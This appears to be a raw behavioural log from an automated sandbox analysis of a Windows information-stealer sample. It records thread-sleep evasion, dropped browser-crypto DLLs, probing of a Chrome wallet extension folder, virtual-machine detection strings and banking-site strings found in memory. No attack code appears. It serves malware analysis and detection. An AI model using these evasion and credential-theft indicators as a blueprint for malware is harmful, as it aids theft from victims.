Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2140	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: foregroundWindowGot 351	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 917	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1037	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 980	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 441	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1011	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 979	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Window / User API: threadDelayed 738	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.7 %

Source: C:\Users\user\Desktop\file.exe TID: 6476	Thread sleep count: 1076 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7540	Thread sleep count: 917 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7540	Thread sleep time: -1834917s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2020	Thread sleep count: 1037 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2020	Thread sleep time: -2075037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7240	Thread sleep count: 980 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7240	Thread sleep time: -1960980s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1792	Thread sleep count: 1016 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1792	Thread sleep time: -2033016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7172	Thread sleep count: 441 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7172	Thread sleep time: -13230000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2120	Thread sleep count: 1011 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2120	Thread sleep time: -2023011s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7720	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2980	Thread sleep count: 979 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2980	Thread sleep time: -1958979s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe TID: 3256	Thread sleep count: 738 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDBC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CDBC930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: JKKEHJDH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: JKKEHJDH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.15.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.15.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: JKKEHJDH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: explorti.exe, explorti.exe, 00000016.00000002.1594602591.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001B.00000002.2200231519.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001D.00000002.2801726738.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001F.00000002.3398833353.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual USB Mouse
Source: JKKEHJDH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.15.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.15.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.0000000001999000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWgf
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.15.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.15.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.00000000003CC000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, file.exe, 00000000.00000002.1379707734.00000000003CC000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1379707734.00000000003CC000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: IIEBGIDAAF.exe, 00000011.00000002.1455494525.0000000000B41000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000013.00000002.1501932718.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000014.00000002.3675239043.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000016.00000002.1594602591.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001B.00000002.2200231519.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001D.00000002.2801726738.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001F.00000002.3398833353.00000000010A1000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: JKKEHJDH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.15.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: JKKEHJDH.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: JKKEHJDH.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: JKKEHJDH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
